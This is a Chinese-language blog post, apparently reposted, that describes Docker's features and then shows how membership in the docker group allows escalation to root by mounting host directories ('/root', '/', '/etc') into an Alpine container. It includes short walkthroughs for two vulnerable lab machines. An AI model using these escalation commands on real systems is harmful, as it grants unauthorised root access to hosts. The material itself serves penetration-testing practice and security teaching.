1.轻量级
在机器上运行的Docker容器共享该机器的操作系统内核; 他们使用更少的计算和内存。图像由文件系统层构建并共享公用文件。最大限度地减少了磁盘使用量。
2.标准
Docker容器基于开放标准,可在Linux发行版,Microsoft Windows以及任何基础架构(包括虚拟机,裸机)上运行。
3.安全
Docker容器将应用程序彼此隔离并从底层基础架构中分离出来。提供了最强大的默认隔离功能,可以将应用程序问题限制在一个容器中,而不是整个机器上。
默认情况下,Docker 软件包是会默认添加一个 docker 用户组的。Docker 守护进程会允许 root 用户和 docker组用户访问 Docker,给用户提供 Docker 权限;
用户在创建一个docker容器后,容器内默认是root账户,在不需要加sudo的情况下可以任意更改容器内的配置。
正常情况下,这种模式既可以保证一台机器被很多普通用户使用,通过docker容器的隔离,相互之前互不影响;也给用户在容器内开放了充足的权限保证用户可以正常安装软件,修改容器配置等操作。
普通用户如果要想使用 docker,而且不想给 sudo 权限,那么一般会选择把该用户加入 docker 用户组内,同时在 docker 容器内是具有 root 权限的,这样保证了用户对容器的完全控制;
docker 用户组权限:
sudo groupadd docker
#添加docker用户组
sudo gpasswd -a $USER docker
#将当前用户添加至docker用户组
newgrp docker
1.首先使用命令:docker images
用于查看本地已下载的镜像
REPOSITORY # 镜像仓库
TAG # 镜像标签
IMAGE ID # 镜像ID
CREATED # 镜像创建时间
SIZE # 镜像大小
2.如果不存在,
就可以先下载个镜像,然后把root文件夹挂载到上面!!!
使用命令:docker run alpine chroot 来下载镜像文件;
(不存在docker镜像情况下使用)
3.将root文件夹挂载在上面
docker run -it -v /root:/mnt alpine
将文件夹挂载到mnt文件夹
4.可以看到我们已经拥有了root权限
Docker挂载命令逃逸:
-v /root(需要挂载得目录):/abc(新建挂载目录)
参数 -v 将容器外部的目录 / 挂载到容器内部
因为docker环境运行得时候是需要root权限的,所以可以实现提权的目的;
1. HA: Chakravyuh靶机
靶机渗透测试wp
docker提权:
(-v 可以映射到容器外的host文件的参数)
命令:
docker run -v /root:/mnt -it 965ea09ff2eb /bin/sh
含义:docker运行一个交互式的Linux系统,挂载系统的/root 目录到/mnt目录下,这样就可以获取到root目录下的文件内容了
成功得到root权限,实验成功 !!!
2. CyberSploit: 2靶机
靶机渗透测试wp
我们需要联网拉取镜像
命令: docker pull alpine
alpine是迷你的linux系统
命令: docker images
用于查看本地已下载的镜像
命令: docker run -v /:/mnt -it alpine
执行镜像文件
提权成功!!!
在docker中使用alpine
docker 允许挂载主机的目录,那么挂载 /etc 文件之后就可以任意修改主机配置了;
也就是说,原本应该与主机完全隔离的用户系统,通过挂载,容器直接使用了主机的用户系统;在容器内对用户权限的修改,都等同于在主机上进行修改!!!
本文发布于:2024-02-05 02:15:29,感谢您对本站的认可!
本文链接:https://www.4u4v.net/it/170721745462099.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
留言与评论(共有 0 条评论) |